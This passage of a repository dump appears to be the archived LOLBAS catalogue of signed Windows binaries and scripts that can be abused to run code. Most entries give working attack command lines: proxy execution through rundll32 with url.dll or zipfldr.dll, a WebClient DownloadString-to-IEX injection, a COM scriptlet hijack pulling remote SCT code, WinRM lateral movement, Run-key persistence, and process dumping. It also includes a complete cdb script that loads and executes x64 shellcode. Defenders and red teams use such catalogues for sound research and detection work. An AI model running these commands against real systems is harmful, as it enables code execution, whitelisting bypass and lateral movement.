\"C:\\\\test\\\\calc.url\"\nLaunch an executable payload via proxy through a(n) URL (information) file by calling OpenURL.\n\nrundll32.exe url.dll,OpenURL file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e\nLaunch an executable payload by calling OpenURL.\n\nrundll32.exe url.dll,FileProtocolHandler calc.exe\nLaunch an executable payload by calling FileProtocolHandler.\n\nrundll32.exe url.dll,FileProtocolHandler file:///C:/test/test.hta\nLaunch a HTML application payload by calling FileProtocolHandler.\n\nrundll32 url.dll,FileProtocolHandler file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e\nLaunch an executable payload by calling FileProtocolHandler.\n```\n \n* Resources: \n * https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/\n * https://twitter.com/bohops/status/974043815655956481\n * https://twitter.com/DissectMalware/status/995348436353470465\n * https://twitter.com/yeyint_mth/status/997355558070927360\n * https://twitter.com/Hexacorn/status/974063407321223168\n \n* Full path: \n * c:\\windows\\system32\\url.dll\n * c:\\windows\\sysWOW64\\url.dll\n \n* Notes: Thanks to Jimmy - @bohops (OpenURL), Adam - @hexacorn (OpenURL), Malwrologist - @DissectMalware (FileProtocolHandler - HTA), r0lan - @yeyint_mth (Obfuscation) \n \n" }, { "path": "Archive-Old-Version/OSLibraries/Zipfldr.dll.md", "content": "## Zipfldr.dll\n* Functions: Execute\n```\n\nrundll32.exe zipfldr.dll,RouteTheCall calc.exe\nLaunch an executable payload by calling RouteTheCall.\n\nrundll32.exe zipfldr.dll,RouteTheCall file://^C^:^/^W^i^n^d^o^w^s^/^s^y^s^t^e^m^3^2^/^c^a^l^c^.^e^x^e\nLaunch an executable payload by calling RouteTheCall.\n```\n \n* Resources: \n * https://twitter.com/moriarty_meng/status/977848311603380224\n * https://twitter.com/bohops/status/997896811904929792\n \n* Full path: \n * c:\\windows\\system32\\zipfldr.dll\n * c:\\windows\\sysWOW64\\zipfldr.dll\n \n* Notes: Thanks to Moriarty - @moriarty_meng (Execute), r0lan - @yeyint_mth (Obfuscation) \n \n" }, { "path": "Archive-Old-Version/OSScripts/CL_Invocation.ps1.md", "content": "## CL_Invocation.ps1\n* Functions: Execute\n```\n\n. C:\\\\Windows\\\\diagnostics\\\\system\\\\AERO\\\\CL_Invocation.ps1 \\nSyncInvoke [args]\nImport the PowerShell Diagnostic CL_Invocation script and call SyncInvoke to launch an executable.\n```\n \n* Resources: \n * https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/\n * https://twitter.com/bohops/status/948548812561436672\n * https://twitter.com/pabraeken/status/995107879345704961\n \n* Full path: \n * C:\\Windows\\diagnostics\\system\\AERO\\CL_Invocation.ps1\n * C:\\Windows\\diagnostics\\system\\Audio\\CL_Invocation.ps1\n * C:\\Windows\\diagnostics\\system\\WindowsUpdate\\CL_Invocation.ps1\n \n* Notes: Thanks to Jimmy - @bohops (Execute), Pierre-Alexandre Braeken - @pabraeken (Audio + WindowsUpdate Paths) \n \n" }, { "path": "Archive-Old-Version/OSScripts/CL_Mutexverifiers.ps1.md", "content": "## CL_Mutexverifiers.ps1\n* Functions: Execute\n```\n\n. C:\\Windows\\diagnostics\\system\\AERO\\CL_Mutexverifiers.ps1 \nrunAfterCancelProcess calc.ps1\nImport the PowerShell Diagnostic CL_Mutexverifiers script and call runAfterCancelProcess to launch an executable.\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/995111125447577600\n \n* Full path: \n * C:\\Windows\\diagnostics\\system\\WindowsUpdate\\CL_Mutexverifiers.ps1\n * C:\\Windows\\diagnostics\\system\\Audio\\CL_Mutexverifiers.ps1\n * C:\\Windows\\diagnostics\\system\\WindowsUpdate\\CL_Mutexverifiers.ps1\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken (Audio + WindowsUpdate) \n \n" }, { "path": "Archive-Old-Version/OSScripts/Manage-bde.wsf.md", "content": "## Manage-bde.wsf\n* Functions: Execute\n```\n\nset comspec=c:\\windows\\system32\\calc.exe & cscript c:\\windows\\system32\\manage-bde.wsf\nSet the comspec variable to another executable prior to calling manage-bde.wsf for execution.\n\ncopy c:\\users\\person\\evil.exe c:\\users\\public\\manage-bde.exe & cd c:\\users\\public\\ & cscript.exe c:\\windows\\system32\\manage-bde.wsf\nRun the manage-bde.wsf script with a payload named manage-bde.exe in the same directory to run the payload file.\n```\n \n* Resources: \n * https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712\n * https://twitter.com/bohops/status/980659399495741441\n \n* Full path: \n * C:\\Windows\\System32\\manage-bde.wsf\n \n* Notes: Thanks to Jimmy - @bophops (Comspec), Daniel Bohannon - @danielhbohannon (Path Hijack) \n \n" }, { "path": "Archive-Old-Version/OSScripts/Payload/Pubprn_calc.sct", "content": "\n\n\n\n\n\n\n\n" }, { "path": "Archive-Old-Version/OSScripts/Payload/Slmgr.reg", "content": "Windows Registry Editor Version 5.00\n\n[HKEY_CURRENT_USER\\Software\\Classes\\Scripting.Dictionary]\n@=\"\"\n\n[HKEY_CURRENT_USER\\Software\\Classes\\Scripting.Dictionary\\CLSID]\n@=\"{00000001-0000-0000-0000-0000FEEDACDC}\"\n\n\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}]\n@=\"Scripting.Dictionary\"\n\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32]\n@=\"C:\\\\WINDOWS\\\\system32\\\\scrobj.dll\"\n\"ThreadingModel\"=\"Apartment\"\n\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ProgID]\n@=\"Scripting.Dictionary\"\n\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ScriptletURL]\n@=\"https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSScripts/Payload/Slmgr_calc.sct\"\n\n[HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\VersionIndependentProgID]\n@=\"Scripting.Dictionary\"" }, { "path": "Archive-Old-Version/OSScripts/Payload/Slmgr_calc.sct", "content": "\n\n\n\n\n\n\n\n" }, { "path": "Archive-Old-Version/OSScripts/Pubprn.vbs.md", "content": "## Pubprn.vbs\n* Functions: Execute\n```\n\npubprn.vbs 127.0.0.1 script:https://domain.com/folder/file.sct\nSet the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection.\n```\n \n* Resources: \n * https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/\n * https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology\n * https://github.com/enigma0x3/windows-operating-system-archaeology\n \n* Full path: \n * C:\\Windows\\System32\\Printing_Admin_Scripts\\en-US\\pubprn.vbs\n * C:\\Windows\\SysWOW64\\Printing_Admin_Scripts\\en-US\\pubprn.vbs\n \n* Notes: Thanks to Matt Nelson - @enigma0x3 \n \n" }, { "path": "Archive-Old-Version/OSScripts/Slmgr.vbs.md", "content": "## Slmgr.vbs\n* Functions: Execute\n```\n\nreg.exe import c:\\path\\to\\Slmgr.reg & cscript.exe /b c:\\windows\\system32\\slmgr.vbs\nHijack the Scripting.Dictionary COM Object to execute remote scriptlet (SCT) code.\n```\n \n* Resources: \n * https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology\n * https://www.youtube.com/watch?v=3gz1QmiMhss\n \n* Full path: \n * c:\\windows\\system32\\slmgr.vbs\n * c:\\windows\\sysWOW64\\slmgr.vbs\n \n* Notes: Thanks to Matt Nelson - @enigma0x3, Casey Smith - @subTee \n \n" }, { "path": "Archive-Old-Version/OSScripts/SyncAppvPublishingServer.vbs.md", "content": "## SyncAppvPublishingServer.vbs\n* Functions: Execute\n```\n\nSyncAppvPublishingServer.vbs \"n;((New-Object Net.WebClient).DownloadString('http://some.url/script.ps1') | IEX\"\nInject PowerShell script code with the provided arguments\n```\n \n* Resources: \n * https://twitter.com/monoxgas/status/895045566090010624\n * https://twitter.com/subTee/status/855738126882316288\n \n* Full path: \n * C:\\Windows\\System32\\SyncAppvPublishingServer.vbs\n \n* Notes: Thanks to Nick Landers - @monoxgas, Casey Smith - @subTee \n \n" }, { "path": "Archive-Old-Version/OSScripts/Winrm.vbs.md", "content": "## Winrm.vbs\n* Functions: Execute\n```\n\nreg.exe import c:\\path\\to\\Slmgr.reg & winrm quickconfig\nHijack the Scripting.Dictionary COM Object to execute remote scriptlet (SCT) code.\n\nwinrm invoke Create wmicimv2/Win32_Process @{CommandLine=\"notepad.exe\"} -r:http://target:5985\nLateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol.\n\nwinrm invoke Create wmicimv2/Win32_Service @{Name=\"Evil\";DisplayName=\"Evil\";PathName=\"cmd.exe /k c:\\windows\\system32\\notepad.exe\"} -r:http://acmedc:5985 \\nwinrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985\nLateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol.\n```\n \n* Resources: \n * https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology\n * https://www.youtube.com/watch?v=3gz1QmiMhss\n * https://github.com/enigma0x3/windows-operating-system-archaeology\n * https://redcanary.com/blog/lateral-movement-winrm-wmi/\n * https://twitter.com/bohops/status/994405551751815170\n \n* Full path: \n * C:\\windows\\system32\\winrm.vbs\n * C:\\windows\\SysWOW64\\winrm.vbs\n \n* Notes: Thanks to Matt Nelson - @enigma0x3 (Hijack), Casey Smith - @subtee (Hijack), Red Canary Company cc Tony Lambert - @redcanaryco (Win32_Process LM), Jimmy - @bohops (Win32_Service LM) \n \n" }, { "path": "Archive-Old-Version/OSScripts/pester.bat.md", "content": "## pester.bat\n* Functions: Execute code using Pester. The third parameter can be anything. The fourth is the payload.\n```\n\nPester.bat [/help|?|-?|/?] \"$null; notepad\"\nExecute notepad\n```\n \n* Resources: \n * https://twitter.com/Oddvarmoe/status/993383596244258816\n * https://github.com/api0cradle/LOLBAS/blob/master/OSScripts/pester.md\n \n* Full path: \n * c:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\3.4.0\\bin\\Pester.bat\n * c:\\Program Files\\WindowsPowerShell\\Modules\\Pester\\*\\bin\\Pester.bat\n \n* Notes: Thanks to Emin Atac - @p0w3rsh3ll \n \n" }, { "path": "Archive-Old-Version/OtherBinaries/AcroRd32.exe.md", "content": "## AcroRd32.exe\n* Functions: Execute\n```\n\nReplace C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroCEF\\RdrCEF.exe by your binary\nHijack RdrCEF.exe with a payload executable to launch when opening Adobe\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/997997818362155008\n \n* Full path: \n * C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken \n \n" }, { "path": "Archive-Old-Version/OtherBinaries/Gpup.exe.md", "content": "## Gpup.exe\n* Functions: Execute\n```\n\nGpup.exe -w whatever -e c:\\Windows\\System32\\calc.exe\nExecute another command through gpup.exe (Notepad++ binary).\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/997892519827558400\n \n* Full path: \n * C:\\Program Files (x86)\\Notepad++\\updater\\gpup.exe \n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken \n \n" }, { "path": "Archive-Old-Version/OtherBinaries/Nlnotes.exe.md", "content": "## Nlnotes.exe\n* Functions: Execute\n```\n\nNLNOTES.EXE /authenticate \"=N:\\Lotus\\Notes\\Data\\notes.ini\" -Command if((Get-ExecutionPolicy ) -ne AllSigned) { Set-ExecutionPolicy -Scope Process Bypass }\nRun PowerShell via LotusNotes.\n```\n \n* Resources: \n * https://gist.github.com/danielbohannon/50ec800e92a888b7d45486e5733c359f\n * https://twitter.com/HanseSecure/status/995578436059127808\n \n* Full path: \n * C:\\Program Files (x86)\\IBM\\Lotus\\Notes\\Notes.exe\n \n* Notes: Thanks to Daniel Bohannon - @danielhbohannon \n \n" }, { "path": "Archive-Old-Version/OtherBinaries/Notes.exe.md", "content": "## Notes.exe\n* Functions: Execute\n```\n\nNotes.exe \"=N:\\Lotus\\Notes\\Data\\notes.ini\" -Command if((Get-ExecutionPolicy) -ne AllSigned) { Set-ExecutionPolicy -Scope Process Bypass }\nRun PowerShell via LotusNotes.\n```\n \n* Resources: \n * https://gist.github.com/danielbohannon/50ec800e92a888b7d45486e5733c359f\n * https://twitter.com/HanseSecure/status/995578436059127808\n \n* Full path: \n * C:\\Program Files (x86)\\IBM\\Lotus\\Notes\\notes.exe\n \n* Notes: Thanks to Daniel Bohannon - @danielhbohannon \n \n" }, { "path": "Archive-Old-Version/OtherBinaries/Nvudisp.exe.md", "content": "## Nvudisp.exe\n* Functions: Execute, Copy, Add registry, Create shortcut, kill process\n```\n\nNvudisp.exe System calc.exe\nExecute calc.exe as a subprocess.\n\nNvudisp.exe Copy test.txt,test-2.txt\nCopy fila A to file B.\n\nNvudisp.exe SetReg HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\malware=malware.exe\nAdd/Edit a Registry key value.\n\nNvudisp.exe CreateShortcut test.lnk,\"Test\",\"c:\\windows\\system32\\calc.exe\\\",\"\",\"c:\\windows\\system32\\\"\nCreate shortcut file.\n\nNvudisp.exe KillApp calculator.exe\nKill a process.\n\nNvudisp.exe Run foo\nRun process\n```\n \n* Resources: \n * http://sysadminconcombre.blogspot.ca/2018/04/run-system-commands-through-nvidia.html\n \n* Full path: \n * C:\\windows\\system32\\nvuDisp.exe\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken \n \n" }, { "path": "Archive-Old-Version/OtherBinaries/Nvuhda6.exe.md", "content": "## Nvuhda6.exe\n* Functions: Execute, Copy, Add registry, Create shortcut, kill process\n```\n\nnvuhda6.exe System calc.exe\nExecute calc.exe as a subprocess.\n\nnvuhda6.exe Copy test.txt,test-2.txt\nCopy fila A to file B.\n\nnvuhda6.exe SetReg HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\malware=malware.exe\nAdd/Edit a Registry key value\n\nnvuhda6.exe CreateShortcut test.lnk,\"Test\",\"C:\\Windows\\System32\\calc.exe\",\"\",\"C:\\Windows\\System32\\\"\nCreate shortcut file.\n\nnvuhda6.exe KillApp calc.exe\nKill a process.\n\nnvuhda6.exe Run foo\nRun process\n```\n \n* Resources: \n * http://www.hexacorn.com/blog/2017/11/10/reusigned-binaries-living-off-the-signed-land/\n \n* Full path: \n * Missing\n \n* Notes: Thanks to Adam - @hexacorn \n \n" }, { "path": "Archive-Old-Version/OtherBinaries/ROCCAT_Swarm.exe.md", "content": "## ROCCAT_Swarm.exe\n* Functions: Execute\n```\n\nReplace ROCCAT_Swarm_Monitor.exe with your binary.exe\nHijack ROCCAT_Swarm_Monitor.exe and launch payload when executing ROCCAT_Swarm.exe\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/994213164484001793\n \n* Full path: \n * C:\\Program Files (x86)\\ROCCAT\\ROCCAT Swarm\\\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken \n \n" }, { "path": "Archive-Old-Version/OtherBinaries/Setup.exe.md", "content": "## Setup.exe\n* Functions: Execute\n```\n\nRun Setup.exe\nHijack hpbcsiServiceMarshaller.exe and run Setup.exe to launch a payload.\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/994381620588236800\n \n* Full path: \n * C:\\LJ-Ent-700-color-MFP-M775-Full-Solution-15315\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken \n \n" }, { "path": "Archive-Old-Version/OtherBinaries/Usbinst.exe.md", "content": "## Usbinst.exe\n* Functions: Execute\n```\n\nUsbinst.exe InstallHinfSection \"DefaultInstall 128 c:\\temp\\calc.inf\"\nExecute calc.exe through DefaultInstall Section Directive in INF file.\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/993514357807108096\n \n* Full path: \n * C:\\Program Files (x86)\\Citrix\\ICA Client\\Drivers64\\Usbinst.exe\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken \n \n" }, { "path": "Archive-Old-Version/OtherBinaries/VBoxDrvInst.exe.md", "content": "## VBoxDrvInst.exe\n* Functions: Persistence\n```\n\nVBoxDrvInst.exe driver executeinf c:\\temp\\calc.inf\nSet registry key-value for persistance via INF file call through VBoxDrvInst.exe\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/993497996179492864\n \n* Full path: \n * C:\\Program Files\\Oracle\\VirtualBox Guest Additions\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/Appvlp.exe.md", "content": "## Appvlp.exe\n* Functions: Execute\n```\n\nAppVLP.exe \\\\webdav\\calc.bat\nExecutes calc.bat through AppVLP.exe\n\nAppVLP.exe powershell.exe -c \"$e=New-Object -ComObject shell.application;$e.ShellExecute('calc.exe','', '', 'open', 1)\"\nExecutes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.\n\nAppVLP.exe powershell.exe -c \"$e=New-Object -ComObject excel.application;$e.RegisterXLL('\\\\webdav\\xll_poc.xll')\"\nExecutes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.\n```\n \n* Resources: \n * https://github.com/MoooKitty/Code-Execution\n * https://twitter.com/moo_hax/status/892388990686347264\n \n* Full path: \n * C:\\Program Files\\Microsoft Office\\root\\client\\appvlp.exe\n * C:\\Program Files (x86)\\Microsoft Office\\root\\client\\appvlp.exe\n \n* Notes: Thanks to fab - @0rbz_ (No record), Will - @moo_hax (Code Execution) \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/Bginfo.exe.md", "content": "## Bginfo.exe\n* Functions: Execute\n```\n\nbginfo.exe bginfo.bgi /popup /nolicprompt\nExecute VBscript code that is referenced within the bginfo.bgi file.\n\n\"\\\\10.10.10.10\\webdav\\bginfo.exe\" bginfo.bgi /popup /nolicprompt\nExecute bginfo.exe from a WebDAV server.\n\n\"\\\\live.sysinternals.com\\Tools\\bginfo.exe\" \\\\10.10.10.10\\webdav\\bginfo.bgi /popup /nolicprompt\nThis style of execution may not longer work due to patch.\n```\n \n* Resources: \n * https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/\n \n* Full path: \n * No fixed path\n \n* Notes: Thanks to Oddvar Moe - @oddvarmoe \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/Cdb.exe.md", "content": "## Cdb.exe\n* Functions: Execute\n```\n\ncdb.exe -cf x64_calc.wds -o notepad.exe\nLaunch 64-bit shellcode from the x64_calc.wds file using cdb.exe.\n```\n \n* Resources: \n * http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html\n * https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/cdb-command-line-options\n * https://gist.github.com/mattifestation/94e2b0a9e3fe1ac0a433b5c3e6bd0bda\n \n* Full path: \n * C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x64\\cdb.exe\n * C:\\Program Files (x86)\\Windows Kits\\10\\Debuggers\\x86\\cdb.exe\n \n* Notes: Thanks to Matt Graeber - @mattifestation \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/Dxcap.exe.md", "content": "## Dxcap.exe\n* Functions: Execute\n```\n\nDxcap.exe -c C:\\Windows\\System32\\notepad.exe\nLaunch notepad as a subprocess of Dxcap.exe\n```\n \n* Resources: \n * https://twitter.com/harr0ey/status/992008180904419328\n \n* Full path: \n * c:\\Windows\\System32\\dxcap.exe\n * c:\\Windows\\SysWOW64\\dxcap.exe\n \n* Notes: Thanks to Matt harr0ey - @harr0ey \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/Mftrace.exe.md", "content": "## Mftrace.exe\n* Functions: Execute\n```\n\nMftrace.exe cmd.exe\nLaunch cmd.exe as a subprocess of Mftrace.exe.\n\nMftrace.exe powershell.exe\nLaunch cmd.exe as a subprocess of Mftrace.exe.\n```\n \n* Resources: \n * https://twitter.com/0rbz_/status/988911181422186496 (Currently not accessible)\n \n* Full path: \n * C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.16299.0\\x86\n * C:\\Program Files (x86)\\Windows Kits\\10\\bin\\10.0.16299.0\\x64\n * C:\\Program Files (x86)\\Windows Kits\\10\\bin\\x86\n * C:\\Program Files (x86)\\Windows Kits\\10\\bin\\x64\n \n* Notes: Thanks to fabrizio - @0rbz_ \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/Msdeploy.exe.md", "content": "## Msdeploy.exe\n* Functions: Execute\n```\n\nmsdeploy.exe -verb:sync -source:RunCommand -dest:runCommand=\"c:\\temp\\calc.bat\"\nLaunch calc.bat via msdeploy.exe.\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/995837734379032576\n \n* Full path: \n * C:\\Program Files (x86)\\IIS\\Microsoft Web Deploy V3\\msdeploy.exe\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/Payload/Cdb_calc.wds", "content": "$$ Save this to a file - e.g. x64_calc.wds\n$$ Example: launch this shellcode in a host notepad.exe process.\n$$ cdb.exe -cf x64_calc.wds -o notepad.exe\n\n$$ Allocate 272 bytes for the shellcode buffer\n$$ Save the address of the resulting RWX in the pseudo $t0 register\n.foreach /pS 5 ( register { .dvalloc 272 } ) { r @$t0 = register }\n\n$$ Copy each individual shellcode byte to the allocated RWX buffer\n$$ Note: The `eq` command could be used to save space, if desired.\n$$ Note: .readmem can be used to read a shellcode buffer too but\n$$ shellcode on disk will be subject to AV scanning.\n;eb @$t0+00 FC;eb @$t0+01 48;eb @$t0+02 83;eb @$t0+03 E4\n;eb @$t0+04 F0;eb @$t0+05 E8;eb @$t0+06 C0;eb @$t0+07 00\n;eb @$t0+08 00;eb @$t0+09 00;eb @$t0+0A 41;eb @$t0+0B 51\n;eb @$t0+0C 41;eb @$t0+0D 50;eb @$t0+0E 52;eb @$t0+0F 51\n;eb @$t0+10 56;eb @$t0+11 48;eb @$t0+12 31;eb @$t0+13 D2\n;eb @$t0+14 65;eb @$t0+15 48;eb @$t0+16 8B;eb @$t0+17 52\n;eb @$t0+18 60;eb @$t0+19 48;eb @$t0+1A 8B;eb @$t0+1B 52\n;eb @$t0+1C 18;eb @$t0+1D 48;eb @$t0+1E 8B;eb @$t0+1F 52\n;eb @$t0+20 20;eb @$t0+21 48;eb @$t0+22 8B;eb @$t0+23 72\n;eb @$t0+24 50;eb @$t0+25 48;eb @$t0+26 0F;eb @$t0+27 B7\n;eb @$t0+28 4A;eb @$t0+29 4A;eb @$t0+2A 4D;eb @$t0+2B 31\n;eb @$t0+2C C9;eb @$t0+2D 48;eb @$t0+2E 31;eb @$t0+2F C0\n;eb @$t0+30 AC;eb @$t0+31 3C;eb @$t0+32 61;eb @$t0+33 7C\n;eb @$t0+34 02;eb @$t0+35 2C;eb @$t0+36 20;eb @$t0+37 41\n;eb @$t0+38 C1;eb @$t0+39 C9;eb @$t0+3A 0D;eb @$t0+3B 41\n;eb @$t0+3C 01;eb @$t0+3D C1;eb @$t0+3E E2;eb @$t0+3F ED\n;eb @$t0+40 52;eb @$t0+41 41;eb @$t0+42 51;eb @$t0+43 48\n;eb @$t0+44 8B;eb @$t0+45 52;eb @$t0+46 20;eb @$t0+47 8B\n;eb @$t0+48 42;eb @$t0+49 3C;eb @$t0+4A 48;eb @$t0+4B 01\n;eb @$t0+4C D0;eb @$t0+4D 8B;eb @$t0+4E 80;eb @$t0+4F 88\n;eb @$t0+50 00;eb @$t0+51 00;eb @$t0+52 00;eb @$t0+53 48\n;eb @$t0+54 85;eb @$t0+55 C0;eb @$t0+56 74;eb @$t0+57 67\n;eb @$t0+58 48;eb @$t0+59 01;eb @$t0+5A D0;eb @$t0+5B 50\n;eb @$t0+5C 8B;eb @$t0+5D 48;eb @$t0+5E 18;eb @$t0+5F 44\n;eb @$t0+60 8B;eb @$t0+61 40;eb @$t0+62 20;eb @$t0+63 49\n;eb @$t0+64 01;eb @$t0+65 D0;eb @$t0+66 E3;eb @$t0+67 56\n;eb @$t0+68 48;eb @$t0+69 FF;eb @$t0+6A C9;eb @$t0+6B 41\n;eb @$t0+6C 8B;eb @$t0+6D 34;eb @$t0+6E 88;eb @$t0+6F 48\n;eb @$t0+70 01;eb @$t0+71 D6;eb @$t0+72 4D;eb @$t0+73 31\n;eb @$t0+74 C9;eb @$t0+75 48;eb @$t0+76 31;eb @$t0+77 C0\n;eb @$t0+78 AC;eb @$t0+79 41;eb @$t0+7A C1;eb @$t0+7B C9\n;eb @$t0+7C 0D;eb @$t0+7D 41;eb @$t0+7E 01;eb @$t0+7F C1\n;eb @$t0+80 38;eb @$t0+81 E0;eb @$t0+82 75;eb @$t0+83 F1\n;eb @$t0+84 4C;eb @$t0+85 03;eb @$t0+86 4C;eb @$t0+87 24\n;eb @$t0+88 08;eb @$t0+89 45;eb @$t0+8A 39;eb @$t0+8B D1\n;eb @$t0+8C 75;eb @$t0+8D D8;eb @$t0+8E 58;eb @$t0+8F 44\n;eb @$t0+90 8B;eb @$t0+91 40;eb @$t0+92 24;eb @$t0+93 49\n;eb @$t0+94 01;eb @$t0+95 D0;eb @$t0+96 66;eb @$t0+97 41\n;eb @$t0+98 8B;eb @$t0+99 0C;eb @$t0+9A 48;eb @$t0+9B 44\n;eb @$t0+9C 8B;eb @$t0+9D 40;eb @$t0+9E 1C;eb @$t0+9F 49\n;eb @$t0+A0 01;eb @$t0+A1 D0;eb @$t0+A2 41;eb @$t0+A3 8B\n;eb @$t0+A4 04;eb @$t0+A5 88;eb @$t0+A6 48;eb @$t0+A7 01\n;eb @$t0+A8 D0;eb @$t0+A9 41;eb @$t0+AA 58;eb @$t0+AB 41\n;eb @$t0+AC 58;eb @$t0+AD 5E;eb @$t0+AE 59;eb @$t0+AF 5A\n;eb @$t0+B0 41;eb @$t0+B1 58;eb @$t0+B2 41;eb @$t0+B3 59\n;eb @$t0+B4 41;eb @$t0+B5 5A;eb @$t0+B6 48;eb @$t0+B7 83\n;eb @$t0+B8 EC;eb @$t0+B9 20;eb @$t0+BA 41;eb @$t0+BB 52\n;eb @$t0+BC FF;eb @$t0+BD E0;eb @$t0+BE 58;eb @$t0+BF 41\n;eb @$t0+C0 59;eb @$t0+C1 5A;eb @$t0+C2 48;eb @$t0+C3 8B\n;eb @$t0+C4 12;eb @$t0+C5 E9;eb @$t0+C6 57;eb @$t0+C7 FF\n;eb @$t0+C8 FF;eb @$t0+C9 FF;eb @$t0+CA 5D;eb @$t0+CB 48\n;eb @$t0+CC BA;eb @$t0+CD 01;eb @$t0+CE 00;eb @$t0+CF 00\n;eb @$t0+D0 00;eb @$t0+D1 00;eb @$t0+D2 00;eb @$t0+D3 00\n;eb @$t0+D4 00;eb @$t0+D5 48;eb @$t0+D6 8D;eb @$t0+D7 8D\n;eb @$t0+D8 01;eb @$t0+D9 01;eb @$t0+DA 00;eb @$t0+DB 00\n;eb @$t0+DC 41;eb @$t0+DD BA;eb @$t0+DE 31;eb @$t0+DF 8B\n;eb @$t0+E0 6F;eb @$t0+E1 87;eb @$t0+E2 FF;eb @$t0+E3 D5\n;eb @$t0+E4 BB;eb @$t0+E5 E0;eb @$t0+E6 1D;eb @$t0+E7 2A\n;eb @$t0+E8 0A;eb @$t0+E9 41;eb @$t0+EA BA;eb @$t0+EB A6\n;eb @$t0+EC 95;eb @$t0+ED BD;eb @$t0+EE 9D;eb @$t0+EF FF\n;eb @$t0+F0 D5;eb @$t0+F1 48;eb @$t0+F2 83;eb @$t0+F3 C4\n;eb @$t0+F4 28;eb @$t0+F5 3C;eb @$t0+F6 06;eb @$t0+F7 7C\n;eb @$t0+F8 0A;eb @$t0+F9 80;eb @$t0+FA FB;eb @$t0+FB E0\n;eb @$t0+FC 75;eb @$t0+FD 05;eb @$t0+FE BB;eb @$t0+FF 47\n;eb @$t0+100 13;eb @$t0+101 72;eb @$t0+102 6F;eb @$t0+103 6A\n;eb @$t0+104 00;eb @$t0+105 59;eb @$t0+106 41;eb @$t0+107 89\n;eb @$t0+108 DA;eb @$t0+109 FF;eb @$t0+10A D5;eb @$t0+10B 63\n;eb @$t0+10C 61;eb @$t0+10D 6C;eb @$t0+10E 63;eb @$t0+10F 00\n\n$$ Redirect execution to the shellcode buffer\nr @$ip=@$t0\n\n$$ Continue program execution - i.e. execute the shellcode\ng\n\n$$ Continue program execution after hitting a breakpoint\n$$ upon starting calc.exe. This is specific to this shellcode.\ng\n\n$$ quit cdb.exe\nq" }, { "path": "Archive-Old-Version/OtherMSBinaries/SQLToolsPS.exe.md", "content": "## SQLToolsPS.exe\n* Functions: Execute, evade logging\n```\n\nSQLToolsPS.exe -noprofile -command Start-Process calc.exe\nRun PowerShell scripts and commands.\n```\n \n* Resources: \n * https://twitter.com/pabraeken/status/993298228840992768\n \n* Full path: \n * C:\\Program files (x86)\\Microsoft SQL Server\\130\\Tools\\Binn\\sqlps.exe\n \n* Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken \n \n" }, { "path": "Archive-Old-Version/OtherMSBinaries/Sqldumper.exe.md", "content": "## Sqldumper.exe\n* Functions: Dump process\n```\n\nsqldumper.exe 464 0 0x0110\nDump process by PID and create a dump file (Appears to create a dump file called SQLDmprXXXX.mdmp).\n\nsqldumper.exe 540 0 0x01100:40\n0x01100:40 